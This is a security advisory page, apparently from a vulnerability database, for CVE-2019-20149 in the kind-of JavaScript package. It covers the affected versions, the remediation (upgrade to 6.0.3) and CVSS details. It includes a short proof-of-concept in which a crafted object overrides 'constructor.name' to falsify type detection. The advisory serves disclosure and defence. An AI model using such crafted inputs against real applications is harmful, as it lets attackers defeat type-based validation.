Information Exposure

Affecting org.webjars.bowergithub.jonschlinkert:kind-of artifact, versions [6.0.0, 6.0.3)

Report new vulnerabilities
Do your applications use this vulnerable package? Test your applications

Overview

org.webjars.bowergithub.jonschlinkert:kind-of is a package that gets the native type of a value.

Affected versions of this package are vulnerable to Information Exposure. It leverages the built-in constructor of unsafe user-input to detect type information. However, a crafted payload can overwrite this built in attribute to manipulate the type detection result.

PoC by Feng Xiao

var kindOf = require('kind-of');


var user_input = {
  user: 'barney',
  age: 36,
  active: true,
  "constructor":{"name":"Symbol"}
};
console.log(kindOf(user_input));

Remediation

Upgrade org.webjars.bowergithub.jonschlinkert:kind-of to version 6.0.3 or higher.

References

CVSS Score

3.7
low severity
  • Attack Vector
    Network
  • Attack Complexity
    High
  • Privileges Required
    None
  • User Interaction
    None
  • Scope
    Unchanged
  • Confidentiality
    Low
  • Integrity
    None
  • Availability
    None
CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N/E:P/RL:O/RC:C
Credit
Feng Xiao
CVE
CVE-2019-20149
CWE
CWE-200
Snyk ID
SNYK-JAVA-ORGWEBJARSBOWERGITHUBJONSCHLINKERT-542669
Disclosed
16 Dec, 2019
Published
19 Jan, 2020